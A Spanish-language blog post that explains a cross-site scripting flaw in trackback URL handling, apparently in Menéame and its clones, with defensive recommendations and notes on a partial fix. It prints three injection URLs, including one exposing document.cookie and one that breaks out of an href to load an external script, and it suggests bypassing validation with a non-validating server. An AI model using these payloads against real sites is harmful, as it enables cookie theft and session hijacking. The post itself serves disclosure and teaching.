Importancia de la validación de datos

En un post anterior puse un quiz sobre validación de datos, debido a que hubo una enorme cantidad de respuestas :D, quiero hacer unas cuantas aclaraciones y mostrar como un pequeño error puede tener consecuencias nada deseables.

Antes de empezar quiero advertir al ávido lector, que este post será un poco largo.

El error

Voy a tomar las lineas más importantes del quiz mencionado:

Como seguramente lo han notado, la variable 'url' puede contener cualquier valor, siempre y cuando éste sea accesible al mundo exterior. Veamos algunos ejemplos (se omite intencionalmente los valores de $tb->excerpt y $tb->title, aunque la variable $tb->excerpt también puede contener ciertos valores no deseados):

1. [http://wwww.buayacorp.com/?] - esta url pasa la "validación" hecha por file_get_contents; show.php mostraría: [<a href="http://www.buayacorp.com/?"> ... </a>]
2. [http://www.buayacorp.com/?" onclick=alert(document.cookie) f="] - esta url pasa^* la "validación" hecha por file_get_contents; show.php mostraría: [<a href="http://www.buayacorp.com/?" onclick=alert(document.cookie) f=""> ... </a>]
3. [http://wwww.buayacorp.com/?"><script src=http://www.buayacorp.com/s.js></script><a href="] - esta url pasa^* la "validación" hecha por file_get_contents; show.php mostraría: [<a href="http://www.buayacorp.com/?"><script src=http://www.buayacorp.com/s.js></script><a href=""> ... </a>]

Aprovechando la falla

Si tomamos como base la última dirección URL -que es el que más nos conviene- de los ejemplos mostrados, veremos que se produce un error en file_get_contents, puesto que la mayoría de los servidores web se quejarán de que existen caracteres inválidos y mandarán un error 400 (Bad Request), a continuación parte del log de un servidor Apache 1.33 luego de realizar unas pruebas:

La solución a este inconveniente es trivial, ya que sólo es necesario implementar un servidor web que no haga ningún tipo de validación sobre los datos que recibe.

Consecuencias

Esos errores aparentemente inofensivos, permiten hacer en la página afectada, todo lo que se puede hacer (valga la redundancia) con javascript. En un siguiente post mostraré ejemplos reales.

Recomendaciones

• Jamás confien en los datos que llegan o puedan ser modificados por el cliente.
• Conozcan su herramienta y/o lenguaje con el que actualmente trabajan, esto les dará una idea clara de que cosas están protegidos(as) y que cosas no.
• Lean algún(os) libro(s) y visiten sitios relacionados a seguridad.

Menéame y sus clones

Muchos se preguntarán que diablos tiene que ver menéame y sus clones aquí, pero la verdad es que el anterior quiz y este post estan relacionados a una falla de menéame, que fue corregida en parte el 25/09/2006, digo en parte porque existe la posibilidad de que algún spammer hdp pueda enviar todos los trackbacks que quiera. IMHO, sería bueno limitar el número de trackbacks desde una dirección IP en un lapso determinado y luego aplicar filtros antispam sobre los que pasen.

El caso de los clones es otro problema, ya que al parecer muchos de los responsables de estos proyectos no están al tanto de las correciones que se hacen en la versión principal -donde últimamente existe diferencias entre los problemas que muestra la página de reporte de bugs y los problemas solucionados que se especifican en el archivo CHANGES, motivo por el cual muchos clones todavía son vulnerables a ciertos ataques. Sería bueno que Ricardo pueda ofrecer una forma rápida de que los interesados puedan corregir sus versiones ante problemas algo críticos.